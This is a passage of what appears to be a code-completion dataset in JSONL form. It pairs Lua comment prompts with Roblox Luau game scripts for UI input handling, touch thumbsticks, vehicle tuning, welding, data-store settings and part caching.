require(script.Parent.Parent.Packages.Cryo)\nlocal Roact = require(script.Parent.Parent.Packages.Roact)\nlocal ConfigurationContext = require(script.Parent.Parent.Libraries.Configuration).ConfigurationContext\nlocal withConfiguration = ConfigurationContext.withConfiguration\nlocal ExternalEventConnection = require(script.Parent.Parent.Components.ExternalEventConnection)\n\nlocal Context = Roact.createContext({})\n\nlocal InputContextProvider = Roact.Component:extend(\"InputContextProvider\")\n\nexport type State = {\n\tisAppFocusedByGamepad: boolean,\n\tisUsingKeyboard: boolean,\n\tisUsingGamepad: boolean,\n\tisUsingTouch: boolean,\n}\n\nfunction InputContextProvider:init()\n\tself.selectedObjectTracker = Roact.createRef()\n\n\tlocal state: State = {\n\t\tisAppFocusedByGamepad = false,\n\t\tisUsingGamepad = false,\n\t\tisUsingKeyboard = false,\n\t\tisUsingTouch = false,\n\t}\n\tself.state = state\n\n\tself.onSelectedObjectChanged = function()\n\t\tlocal selectedObject = GuiService.SelectedObject\n\t\tlocal tracker = self.selectedObjectTracker:getValue()\n\n\t\tself:setState(function()\n\t\t\tif selectedObject and tracker then\n\t\t\t\tif selectedObject:IsDescendantOf(tracker.Parent) then\n\t\t\t\t\treturn {\n\t\t\t\t\t\tisAppFocusedByGamepad = true,\n\t\t\t\t\t}\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn {\n\t\t\t\tisAppFocusedByGamepad = false,\n\t\t\t}\n\t\tend)\n\tend\n\n\tself.onInputTypeChanged = function(inputType: Enum.UserInputType)\n\t\tself:setState(function()\n\t\t\tif inputType.Name:match(\"^Gamepad%d\") then\n\t\t\t\treturn {\n\t\t\t\t\tisUsingGamepad = true,\n\t\t\t\t\tisUsingKeyboard = false,\n\t\t\t\t\tisUsingTouch = false,\n\t\t\t\t}\n\t\t\telseif inputType == Enum.UserInputType.Touch then\n\t\t\t\treturn {\n\t\t\t\t\tisUsingGamepad = false,\n\t\t\t\t\tisUsingKeyboard = false,\n\t\t\t\t\tisUsingTouch = true,\n\t\t\t\t}\n\t\t\telse\n\t\t\t\treturn {\n\t\t\t\t\tisUsingGamepad = false,\n\t\t\t\t\tisUsingKeyboard = true,\n\t\t\t\t\tisUsingTouch = false,\n\t\t\t\t}\n\t\t\tend\n\t\tend)\n\tend\nend\n\nfunction InputContextProvider:render()\n\treturn Roact.createFragment({\n\t\tSelectedObjectTracker = Roact.createElement(\"Folder\", {\n\t\t\t[Roact.Ref] = self.selectedObjectTracker,\n\t\t}),\n\n\t\tSelectedObjectChanged = Roact.createElement(ExternalEventConnection, {\n\t\t\tevent = GuiService:GetPropertyChangedSignal(\"SelectedObject\"),\n\t\t\tcallback = self.onSelectedObjectChanged,\n\t\t}),\n\n\t\tLastInputTypeChanged = Roact.createElement(ExternalEventConnection, {\n\t\t\tevent = UserInputService.LastInputTypeChanged,\n\t\t\tcallback = self.onInputTypeChanged,\n\t\t}),\n\n\t\tProvider = Roact.createElement(Context.Provider, {\n\t\t\tvalue = self.state,\n\t\t}, self.props[Roact.Children]),\n\t})\nend\n\nfunction InputContextProvider:didMount()\n\tself.onInputTypeChanged(UserInputService:GetLastInputType())\nend\n\nfunction InputContextProvider:didUpdate(prevProps)\n\t-- This is for stories so that if the various states are changed by a\n\t-- storybook control the provider rerenders.\n\tif self.props ~= prevProps then\n\t\tself:setState(self.props)\n\tend\nend\n"} +{"prompt": "-- ROBLOX deviation: omitted Chalk and DiffOptionsColor types", "completion": "\nexport type Chalk = any\n"} +{"prompt": "--EDIT BELOW----------------------------------------------------------------------", "completion": "\nsettings.PianoSoundRange = 100\n\nsettings.KeyAesthetics = true\n\nsettings.PianoSounds = {\n\t\"233836579\", --C/C#\n\t\"233844049\", --D/D#\n\t\"233845680\", --E/F\n\t\"233852841\", --F#/G\n\t\"233854135\", --G#/A\n\t\"233856105\", --A#/B\n}"} +{"prompt": "--[[ The Module ]]", "completion": "--\nlocal BaseCharacterController = require(script.Parent:WaitForChild(\"BaseCharacterController\"))\nlocal TouchThumbstick = setmetatable({}, BaseCharacterController)\nTouchThumbstick.__index = TouchThumbstick\nfunction TouchThumbstick.new()\n\tlocal self = setmetatable(BaseCharacterController.new(), TouchThumbstick)\n\t\n\tself.isFollowStick = false\n\t\n\tself.thumbstickFrame = nil\n\tself.moveTouchObject = nil\n\tself.onTouchMovedConn = nil\n\tself.onTouchEndedConn = nil\n\tself.screenPos = nil\n\tself.stickImage = nil\n\tself.thumbstickSize = nil -- Float\n\t\n\treturn self\nend\nfunction TouchThumbstick:Enable(enable, uiParentFrame)\n\tif enable == nil then return false end\t\t\t-- If nil, return false (invalid argument)\n\tenable = enable and true or false\t\t\t\t-- Force anything non-nil to boolean before comparison\n\tif self.enabled == enable then return true end\t-- If no state change, return true indicating already in requested state\n\t\n\tself.moveVector = ZERO_VECTOR3\n\tself.isJumping = false\n\t\n\tif enable then\n\t\t-- Enable\n\t\tif not self.thumbstickFrame then\n\t\t\tself:Create(uiParentFrame)\n\t\tend\n\t\tself.thumbstickFrame.Visible = true\n\telse \n\t\t-- Disable\n\t\tself.thumbstickFrame.Visible = false\n\t\tself:OnInputEnded()\n\tend\n\tself.enabled = enable\nend\nfunction TouchThumbstick:OnInputEnded()\n\tself.thumbstickFrame.Position = self.screenPos\n\tself.stickImage.Position = UDim2.new(0, self.thumbstickFrame.Size.X.Offset/2 - self.thumbstickSize/4, 0, self.thumbstickFrame.Size.Y.Offset/2 - self.thumbstickSize/4)\n\t\n\tself.moveVector = ZERO_VECTOR3\n\tself.isJumping = false\n\tself.thumbstickFrame.Position = self.screenPos\n\tself.moveTouchObject = nil\nend\nfunction TouchThumbstick:Create(parentFrame)\n\t\n\tif self.thumbstickFrame then\n\t\tself.thumbstickFrame:Destroy()\n\t\tself.thumbstickFrame = nil\n\t\tif self.onTouchMovedConn then\n\t\t\tself.onTouchMovedConn:Disconnect()\n\t\t\tself.onTouchMovedConn = nil\n\t\tend\n\t\tif self.onTouchEndedConn then\n\t\t\tself.onTouchEndedConn:Disconnect()\n\t\t\tself.onTouchEndedConn = nil\n\t\tend\n\tend\n\t\n\tlocal minAxis = math.min(parentFrame.AbsoluteSize.x, parentFrame.AbsoluteSize.y)\n\tlocal isSmallScreen = minAxis <= 500\n\tself.thumbstickSize = isSmallScreen and 70 or 120\n\tself.screenPos = isSmallScreen and UDim2.new(0, (self.thumbstickSize/2) - 10, 1, -self.thumbstickSize - 20) or\n\t\tUDim2.new(0, self.thumbstickSize/2, 1, -self.thumbstickSize * 1.75)\n\t\t\n\tself.thumbstickFrame = Instance.new(\"Frame\")\n\tself.thumbstickFrame.Name = \"ThumbstickFrame\"\n\tself.thumbstickFrame.Active = true\n\tself.thumbstickFrame.Visible = false\n\tself.thumbstickFrame.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize)\n\tself.thumbstickFrame.Position = self.screenPos\n\tself.thumbstickFrame.BackgroundTransparency = 1\n\t\n\tlocal outerImage = Instance.new(\"ImageLabel\")\n\touterImage.Name = \"OuterImage\"\n\touterImage.Image = TOUCH_CONTROL_SHEET\n\touterImage.ImageRectOffset = Vector2.new()\n\touterImage.ImageRectSize = Vector2.new(220, 220)\n\touterImage.BackgroundTransparency = 1\n\touterImage.Size = UDim2.new(0, self.thumbstickSize, 0, self.thumbstickSize)\n\touterImage.Position = UDim2.new(0, 0, 0, 0)\n\touterImage.Parent = self.thumbstickFrame\n\t\n\tself.stickImage = Instance.new(\"ImageLabel\")\n\tself.stickImage.Name = \"StickImage\"\n\tself.stickImage.Image = TOUCH_CONTROL_SHEET\n\tself.stickImage.ImageRectOffset = Vector2.new(220, 0)\n\tself.stickImage.ImageRectSize = Vector2.new(111, 111)\n\tself.stickImage.BackgroundTransparency = 1\n\tself.stickImage.Size = UDim2.new(0, self.thumbstickSize/2, 0, self.thumbstickSize/2)\n\tself.stickImage.Position = UDim2.new(0, self.thumbstickSize/2 - self.thumbstickSize/4, 0, self.thumbstickSize/2 - self.thumbstickSize/4)\n\tself.stickImage.ZIndex = 2\n\tself.stickImage.Parent = self.thumbstickFrame\n\t\n\tlocal centerPosition = nil\n\tlocal deadZone = 0.05\n\t\n\tlocal function DoMove(direction)\n\t\t\n\t\tlocal currentMoveVector = direction / (self.thumbstickSize/2)\n\t\t\n\t\t-- Scaled Radial Dead Zone\n\t\tlocal inputAxisMagnitude = currentMoveVector.magnitude\n\t\tif inputAxisMagnitude < deadZone then\n\t\t\tcurrentMoveVector = Vector3.new()\n\t\telse\n\t\t\tcurrentMoveVector = currentMoveVector.unit * ((inputAxisMagnitude - deadZone) / (1 - deadZone))\n\t\t\t-- NOTE: Making currentMoveVector a unit vector will cause the player to instantly go max speed\n\t\t\t-- must check for zero length vector is using unit\n\t\t\tcurrentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y)\n\t\tend\n\t\t\n\t\tself.moveVector = currentMoveVector\n\tend\n\t\n\tlocal function MoveStick(pos)\n\t\tlocal relativePosition = Vector2.new(pos.x - centerPosition.x, pos.y - centerPosition.y)\n\t\tlocal length = relativePosition.magnitude\n\t\tlocal maxLength = self.thumbstickFrame.AbsoluteSize.x/2\n\t\tif self.isFollowStick and length > maxLength then\n\t\t\tlocal offset = relativePosition.unit * maxLength\n\t\t\tself.thumbstickFrame.Position = UDim2.new(\n\t\t\t\t0, pos.x - self.thumbstickFrame.AbsoluteSize.x/2 - offset.x,\n\t\t\t\t0, pos.y - self.thumbstickFrame.AbsoluteSize.y/2 - offset.y)\n\t\telse\n\t\t\tlength = math.min(length, maxLength)\n\t\t\trelativePosition = relativePosition.unit * length\n\t\tend\n\t\tself.stickImage.Position = UDim2.new(0, relativePosition.x + self.stickImage.AbsoluteSize.x/2, 0, relativePosition.y + self.stickImage.AbsoluteSize.y/2)\n\tend\n\t\n\t-- input connections\n\tself.thumbstickFrame.InputBegan:Connect(function(inputObject)\n\t\t--A touch that starts elsewhere on the screen will be sent to a frame's InputBegan event\n\t\t--if it moves over the frame. So we check that this is actually a new touch (inputObject.UserInputState ~= Enum.UserInputState.Begin)\n\t\tif self.moveTouchObject or inputObject.UserInputType ~= Enum.UserInputType.Touch\n\t\t\tor inputObject.UserInputState ~= Enum.UserInputState.Begin then\n\t\t\treturn\n\t\tend\n\t\t\n\t\tself.moveTouchObject = inputObject\n\t\tself.thumbstickFrame.Position = UDim2.new(0, inputObject.Position.x - self.thumbstickFrame.Size.X.Offset/2, 0, inputObject.Position.y - self.thumbstickFrame.Size.Y.Offset/2)\n\t\tcenterPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.x + self.thumbstickFrame.AbsoluteSize.x/2,\n\t\t\tself.thumbstickFrame.AbsolutePosition.y + self.thumbstickFrame.AbsoluteSize.y/2)\n\t\tlocal direction = Vector2.new(inputObject.Position.x - centerPosition.x, inputObject.Position.y - centerPosition.y)\n\tend)\n\t\n\tself.onTouchMovedConn = UserInputService.TouchMoved:Connect(function(inputObject, isProcessed)\n\t\tif inputObject == self.moveTouchObject then\n\t\t\tcenterPosition = Vector2.new(self.thumbstickFrame.AbsolutePosition.x + self.thumbstickFrame.AbsoluteSize.x/2,\n\t\t\t\tself.thumbstickFrame.AbsolutePosition.y + self.thumbstickFrame.AbsoluteSize.y/2)\n\t\t\tlocal direction = Vector2.new(inputObject.Position.x - centerPosition.x, inputObject.Position.y - centerPosition.y)\n\t\t\tDoMove(direction)\n\t\t\tMoveStick(inputObject.Position)\n\t\tend\n\tend)\n\t\n\tself.onTouchEndedConn = UserInputService.TouchEnded:Connect(function(inputObject, isProcessed)\n\t\tif inputObject == self.moveTouchObject then\n\t\t\tself:OnInputEnded()\n\t\tend\n\tend)\n\t\n\tGuiService.MenuOpened:Connect(function()\n\t\tif self.moveTouchObject then\n\t\t\tself:OnInputEnded()\n\t\tend\n\tend)\t\n\t\n\tself.thumbstickFrame.Parent = parentFrame\nend\nreturn TouchThumbstick\n"} +{"prompt": "-- PUBLIC", "completion": "\nlocal Tracker = {}\nTracker.__index = Tracker\nlocal trackers = {}\nTracker.trackers = trackers\nTracker.itemAdded = Signal.new()\nTracker.itemRemoved = Signal.new()\nTracker.bodyPartsToIgnore = {\n\t-- We ignore these due to their insignificance (e.g. we ignore the lower and\n\t-- upper torso because the HumanoidRootPart also covers these areas)\n\t-- This ultimately reduces the burden on the player region checks\n\tUpperTorso = true,\n\tLowerTorso = true,\n\tTorso = true,\n\tLeftHand = true,\n\tRightHand = true,\n\tLeftFoot = true,\n\tRightFoot = true,\n}\n\n\n"} +{"prompt": "--- Takes in raw command information and generates a command out of it.\n-- text and executor are required arguments.\n-- allowIncompleteData, when true, will ignore errors about arguments missing so we can parse live as the user types.\n-- data is for special networked Data about the command gathered on the client. Purely Optional.\n-- returns the command if successful, or (false, errorText) if not", "completion": "\nfunction Dispatcher:Evaluate (text, executor, allowIncompleteArguments, data)\n\tif RunService:IsClient() == true and executor ~= Players.LocalPlayer then\n\t\terror(\"Can't evaluate a command that isn't sent by the local player.\")\n\tend\n\n\tlocal arguments = Util.SplitString(text)\n\tlocal commandName = table.remove(arguments, 1)\n\tlocal commandObject = self.Registry:GetCommand(commandName)\n\n\tif commandObject then\n\t\t-- No need to continue splitting when there are no more arguments. We'll just mash any additional arguments into the last one.\n\t\targuments = Util.MashExcessArguments(arguments, #commandObject.Args)\n\n\t\t-- Create the CommandContext and parse it.\n\t\tlocal command = Command.new({\n\t\t\tDispatcher = self,\n\t\t\tText = text,\n\t\t\tCommandObject = commandObject,\n\t\t\tAlias = commandName,\n\t\t\tExecutor = executor,\n\t\t\tArguments = arguments,\n\t\t\tData = data\n\t\t})\n\t\tlocal success, errorText = command:Parse(allowIncompleteArguments)\n\n\t\tif success then\n\t\t\treturn command\n\t\telse\n\t\t\treturn false, errorText\n\t\tend\n\telse\n\t\treturn false, \"Invalid command. Use the help command to see all available commands.\"\n\tend\nend\n"} +{"prompt": "-- Input callback function compares items at indexes in the sequences.", "completion": "\ntype IsCommon = (\n\tnumber, -- caller can assume: 0 <= aIndex && aIndex < aLength\n\tnumber -- caller can assume: 0 <= bIndex && bIndex < bLength\n) -> boolean\n"} +{"prompt": "--[=[\n\tA class which holds data and methods for ScriptSignals.\n\n\t@class ScriptSignal\n]=]", "completion": "\nlocal ScriptSignal = {}\nScriptSignal.__index = ScriptSignal\n"} +{"prompt": "-- first, define some variables to hold references to parts of the physics gun:", "completion": "\nlocal gripPart = script.Parent\nlocal beamPart = gripPart:WaitForChild(\"Beam\")\nlocal tipPart = beamPart:WaitForChild(\"Tip\")\n"} +{"prompt": "-- Create component", "completion": "\nlocal ScopeHierarchyItemButton = Roact.PureComponent:extend 'ScopeHierarchyItemButton'\n"} +{"prompt": "--[[\n\tEnters the view, cloning the element from ReplicatedStorage.\n]]", "completion": "\nfunction Spectating.enter()\n\tactiveElements = elements:Clone()\n\n\tlocal spectatingElement = activeElements.SpectatingElement\n\n\tspectatingElement:FindFirstChild(\"Amount\").Text = translate(\"SPECTATING\")\n\tspectatingElement:FindFirstChild(\"Info\").Text = translate(\"Click to change perspective\")\n\n\tactiveElements.Parent = LocalPlayer.PlayerGui\n\n\tstartTime()\nend\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"Matrix\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,5 do\t\n\t\t\t\tThis.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].BrickColor = (l:sub(r,r) == \"1\" and BrickColor.new(ActiveCol) or BrickColor.new(InactiveCol))\n\t\t\t\tThis.Display[\"Matrix\"..ID][\"Row\"..i][\"D\"..r].Material = (l:sub(r,r) == \"1\" and \"Neon\" or \"SmoothPlastic\")\n\t\t\tend\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Local player", "completion": "\nlocal player = Players.LocalPlayer\nlocal leaderstats = player:WaitForChild(\"CustomLeaderstats\")\n\nlocal displayValues = ReplicatedStorage:WaitForChild(\"DisplayValues\")\nlocal points = leaderstats:WaitForChild(\"Points\")\n"} +{"prompt": "-- \u0444-\u0446\u0438\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u044f \u043a\u043b\u0430\u0432\u0438\u0448 \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0430\u0442\u0443\u0440\u0435", "completion": "\nlocal function onKeyPress(inputObject)\n\tif inputObject == \"s\" then -- \u0435\u0441\u043b\u0438 \u043d\u0430\u0436\u0430\u0442\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0430 \"W\"\n\t\tcar:SetPrimaryPartCFrame(car:GetPrimaryPartCFrame() + car.PrimaryPart.CFrame.LookVector * speed) -- \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0432\u043f\u0435\u0440\u0435\u0434\n\telseif inputObject == \"w\" then -- \u0435\u0441\u043b\u0438 \u043d\u0430\u0436\u0430\u0442\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0430 \"S\"\n\t\tcar:SetPrimaryPartCFrame(car:GetPrimaryPartCFrame() - car.PrimaryPart.CFrame.LookVector * speed) -- \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u043d\u0430\u0437\u0430\u0434\n\telseif inputObject == \"a\" then -- \u0435\u0441\u043b\u0438 \u043d\u0430\u0436\u0430\u0442\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0430 \"A\"\n\t\tcar:SetPrimaryPartCFrame(car:GetPrimaryPartCFrame() * CFrame.Angles(0, -math.rad(10), 0)) -- \u043f\u043e\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0432\u043b\u0435\u0432\u043e\n\telseif inputObject == \"d\" then -- \u0435\u0441\u043b\u0438 \u043d\u0430\u0436\u0430\u0442\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0430 \"D\"\n\t\tcar:SetPrimaryPartCFrame(car:GetPrimaryPartCFrame() * CFrame.Angles(0, math.rad(10), 0)) -- \u043f\u043e\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0432\u043f\u0440\u0430\u0432\u043e\n\telseif inputObject == \"e\" then -- \u0435\u0441\u043b\u0438 \u043d\u0430\u0436\u0430\u0442\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0430 \"\u041f\u0440\u043e\u0431\u0435\u043b\"\n\t\tcar:SetPrimaryPartCFrame(car:GetPrimaryPartCFrame()+Vector3.new(0,1,0)) -- \u0443\u0432\u0435\u043b\u0438\u0447\u0438\u0432\u0430\u0435\u043c \u0432\u044b\u0441\u043e\u0442\u0443\n\telseif inputObject==\"q\" then\n\t\tcar:SetPrimaryPartCFrame(car:GetPrimaryPartCFrame()+Vector3.new(0,-1,0))\n\tend\nend\nscript.Parent.Seat.ChildAdded:Connect(function(child)\n\tif child:IsA(\"Weld\") then\n\t\tlocal humanoid = child.Part1.Parent:FindFirstChildOfClass(\"Humanoid\") -- \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0431\u044a\u0435\u043a\u0442 Humanoid \u0438\u0433\u0440\u043e\u043a\u0430\n\t\tif humanoid then -- \u0435\u0441\u043b\u0438 \u043e\u0431\u044a\u0435\u043a\u0442 \u043d\u0430\u0439\u0434\u0435\u043d\n\t\t\tgame.Players.LocalPlayer:GetMouse().KeyDown:Connect(onKeyPress)\n\t\tend\n\tend\nend)\n"} +{"prompt": "-- Arm the rocket and save the touch connection so we can disconnect it later", "completion": "\nConnection = Rocket.Touched:connect(OnTouched)\n"} +{"prompt": "----- Service Table -----", "completion": "\n\nlocal ProfileService = {\n\n\tServiceLocked = false, -- Set to true once the server is shutting down\n\n\tIssueSignal = Madwork.NewScriptSignal(), -- (error_message, profile_store_name, profile_key) -- Fired when a DataStore API call throws an error\n\tCorruptionSignal = Madwork.NewScriptSignal(), -- (profile_store_name, profile_key) -- Fired when DataStore key returns a value that has\n\t-- all or some of it's profile components set to invalid data types. E.g., accidentally setting Profile.Data to a noon table value\n\n\tCriticalState = false, -- Set to true while DataStore service is throwing too many errors\n\tCriticalStateSignal = Madwork.NewScriptSignal(), -- (is_critical_state) -- Fired when CriticalState is set to true\n\t-- (You may alert players with this, or set up analytics)\n\n\tServiceIssueCount = 0,\n\n\t_active_profile_stores = {}, -- {profile_store, ...}\n\n\t_auto_save_list = {}, -- {profile, ...} -- loaded profile table which will be circularly auto-saved\n\n\t_issue_queue = {}, -- [table] {issue_time, ...}\n\t_critical_state_start = 0, -- [number] 0 = no critical state / os.clock() = critical state start\n\n\t-- Debug:\n\t_mock_data_store = {},\n\t_user_mock_data_store = {},\n\n\t_use_mock_data_store = false,\n\n}\n"} +{"prompt": "-- This file was @generated by Tarmac. It is not intended for manual editing.", "completion": "\nreturn {\n\tToolboxIcon = \"rbxassetid://10216552848\",\n}\n"} +{"prompt": "---\tManages the cleaning of events and other things.\n-- Useful for encapsulating state and make deconstructors easy\n-- @classmod Maid\n-- @see Signal", "completion": "\n\nlocal Maid = {}\nMaid.ClassName = \"Maid\"\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal FE = workspace.FilteringEnabled\nlocal car = script.Parent.Car.Value\nlocal handler = car.Wheels.RL:WaitForChild(\"SQ\")\nlocal handler = car.Wheels.RR:WaitForChild(\"SQ\")\nlocal handler = car.Wheels.FL:WaitForChild(\"SQ\")\nlocal handler = car.Wheels.FR:WaitForChild(\"SQ\")\ncar.Wheels.RL.SQ:Play()\ncar.Wheels.RR.SQ:Play()\ncar.Wheels.FL.SQ:Play()\ncar.Wheels.FR.SQ:Play()\nlocal handler = car:WaitForChild(\"Smoke_FE\")\nwhile wait() do\n local r1 = Ray.new(car.Wheels.RL.Position, (car.Wheels.RL.Arm.CFrame * CFrame.Angles(-math.pi / 2, 0, 0)).lookVector * (0.05 + car.Wheels.RL.Size.x / 2))\n local r1hit = 0\n if workspace:FindPartOnRay(r1, car) ~= nil then\n r1hit = 1\n end\n local r2 = Ray.new(car.Wheels.RL.Position, (car.Wheels.RR.Arm.CFrame * CFrame.Angles(-math.pi / 2, 0, 0)).lookVector * (0.05 + car.Wheels.RR.Size.x / 2))\n local r2hit = 0\n if workspace:FindPartOnRay(r2, car) ~= nil then\n r2hit = 1\n end\n local f1 = Ray.new(car.Wheels.FL.Position, (car.Wheels.FL.Arm.CFrame * CFrame.Angles(-math.pi / 2, 0, 0)).lookVector * (0.05 + car.Wheels.FL.Size.x / 2))\n local f1hit = 0\n if workspace:FindPartOnRay(f1, car) ~= nil then\n f1hit = 1\n end\n local f2 = Ray.new(car.Wheels.FL.Position, (car.Wheels.FR.Arm.CFrame * CFrame.Angles(-math.pi / 2, 0, 0)).lookVector * (0.05 + car.Wheels.FR.Size.x / 2))\n local f2hit = 0\n if workspace:FindPartOnRay(f2, car) ~= nil then\n f2hit = 1\n end\n local rl = math.min(math.max(math.abs(car.Wheels.RL.RotVelocity.Magnitude * car.Wheels.RL.Size.x / 2 - car.Wheels.RL.Velocity.Magnitude) - 25, 0), 50) * r1hit\n local rr = math.min(math.max(math.abs(car.Wheels.RR.RotVelocity.Magnitude * car.Wheels.RR.Size.x / 2 - car.Wheels.RR.Velocity.Magnitude) - 25, 0), 50) * r2hit\n local fl = math.min(math.max(math.abs(car.Wheels.FL.RotVelocity.Magnitude * car.Wheels.FL.Size.x / 2 - car.Wheels.FL.Velocity.Magnitude) - 25, 0), 50) * f1hit\n local fr = math.min(math.max(math.abs(car.Wheels.FR.RotVelocity.Magnitude * car.Wheels.FR.Size.x / 2 - car.Wheels.FR.Velocity.Magnitude) - 25, 0), 50) * f2hit\n if FE then\n handler:FireServer(\"UpdateSmoke\", rl, rr, fl, fr)\n else\n car.Wheels.RL.Smoke.Rate = rl\n car.Wheels.RR.Smoke.Rate = rr\n car.Wheels.RL.SQ.Volume = rl / 30\n car.Wheels.RR.SQ.Volume = rr / 30\n car.Wheels.FL.Smoke.Rate = fl\n car.Wheels.FR.Smoke.Rate = fr\n car.Wheels.FL.SQ.Volume = fl / 30\n car.Wheels.FR.SQ.Volume = fr / 30\n car.Wheels.RL.SQ.Pitch = rl / 50 + 0.5\n car.Wheels.RR.SQ.Pitch = rr / 50 + 0.5\n car.Wheels.FL.SQ.Pitch = fl / 50 + 0.5\n car.Wheels.FR.SQ.Pitch = fr / 50 + 0.5\n if rr > 100 then\n car.Wheels.RR.WheelFixed.Mark.T.Enabled = true\n else\n car.Wheels.RR.WheelFixed.Mark.T.Enabled = false\n end\n if rl > 100 then\n car.Wheels.RL.WheelFixed.Mark.T.Enabled = true\n else\n car.Wheels.RL.WheelFixed.Mark.T.Enabled = false\n end\n if fr > 100 then\n car.Wheels.FR.WheelFixed.Mark.T.Enabled = true\n else\n car.Wheels.FR.WheelFixed.Mark.T.Enabled = false\n end\n if fl > 100 then\n car.Wheels.FL.WheelFixed.Mark.T.Enabled = true\n else\n car.Wheels.FL.WheelFixed.Mark.T.Enabled = false\n end\n end\nend\n"} +{"prompt": "--[[Steering]]", "completion": "\n\tTune.SteerInner\t\t= 34\t\t-- Inner wheel steering angle (in degrees)\n\tTune.SteerOuter\t\t= 35\t\t-- Outer wheel steering angle (in degrees)\n\tTune.SteerSpeed\t\t= .05\t\t-- Steering increment per tick (in degrees)\n\tTune.ReturnSpeed\t= .1\t\t-- Steering increment per tick (in degrees)\n\tTune.SteerDecay\t\t= 320\t\t-- Speed of gradient cutoff (in SPS)\n\tTune.MinSteer\t\t= 10\t\t-- Minimum steering at max steer decay (in percent)\n\tTune.MSteerExp\t\t= 1\t\t\t-- Mouse steering exponential degree\n\t\n\t--Steer Gyro Tuning\n\tTune.SteerD\t\t\t= 1000\t\t-- Steering Dampening\n\tTune.SteerMaxTorque\t= 50000\t\t-- Steering Force\n\tTune.SteerP\t\t\t= 100000\t-- Steering Aggressiveness\n\t"} +{"prompt": "--[[ This weld script is cool!\n\tIt will use the structure of models to weld. It treats each model as a separate moving body\n\texcept if name a part \"AHandle\" and insert a BoolValue named \"WeldToRoot\" into it.\n--]]", "completion": "\n\nwait(1) --thanks PSG\n\nlocal AvoidWelding = {--add models you want this script to not weld in here\n\t[\"Coupler\"]=true\n}\n\nfunction weld(i,b)\n\tlocal weld1 = Instance.new(\"Weld\") \n\tweld1.Name = b.Name\n\tweld1.Part0 = i\n\tweld1.Part1 = b\n\tweld1.C1 = b.CFrame:inverse()*i.CFrame\n\tweld1.Parent = i\nend\n\nfunction welding(p,ph)\n\tp:MakeJoints()\n\tlocal handle = p:FindFirstChild(\"AHandle\")\n\tif handle and ph and handle:FindFirstChild(\"WeldToRoot\") then\n\t\tweld(handle,ph)\n\tend\n\tif not handle then\n\t\tfor _,j in pairs (p:GetChildren()) do\n\t\t\tif j:IsA(\"BasePart\") then\n\t\t\t\thandle = j\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\tif not handle then\n\t\thandle = ph\n\tend\n\tfor _,j in pairs (p:GetChildren()) do\n\t\tif j:IsA(\"BasePart\") then\n\t\t\tweld(handle,j)\n\t\telseif j:IsA(\"Model\") and not AvoidWelding[j.Name] then\n\t\t\twelding(j,handle)\n\t\tend\n\tend\nend\n\nfunction unanchoring(p)\n\tfor _,j in pairs (p:GetChildren()) do\n\t\tif j:IsA(\"BasePart\") then\n\t\t\tj.Anchored = false\n\t\telseif j:IsA(\"Model\") then\n\t\t\tunanchoring(j)\n\t\tend\n\tend\nend\n\nwait(1)\nwelding(script.Parent)\nwait(0.5)\nunanchoring(script.Parent)\n"} +{"prompt": "--Dupes a part from the template.", "completion": "\nlocal function MakeFromTemplate(template: BasePart, currentCacheParent: Instance): BasePart\n\tlocal part: BasePart = template:Clone()\n\t-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.\n\t\n\tpart.CFrame = CF_REALLY_FAR_AWAY\n\tpart.Anchored = true\n\tpart.TopSurface = Enum.SurfaceType.Smooth\n\tpart.BottomSurface = Enum.SurfaceType.Smooth\n\t\n\t--game:GetService(\"PhysicsService\"):SetPartCollisionGroup(part, \"Debris\")\n\tpart.CanCollide = false\n\t\n\tpart.Parent = currentCacheParent\n\treturn part\nend\n\nfunction PartCacheStatic.new(template: BasePart, numPrecreatedParts: number?, currentCacheParent: Instance?): PartCache\n\tlocal newNumPrecreatedParts: number = numPrecreatedParts or 5\n\tlocal newCurrentCacheParent: Instance = currentCacheParent or workspace\n\t\n\t--PrecreatedParts value.\n\t--Same thing. Ensure it's a number, ensure it's not negative, warn if it's really huge or 0.\n\tassert(numPrecreatedParts > 0, \"PrecreatedParts can not be negative!\")\n\tassertwarn(numPrecreatedParts ~= 0, \"PrecreatedParts is 0! This may have adverse effects when initially using the cache.\")\n\tassertwarn(template.Archivable, 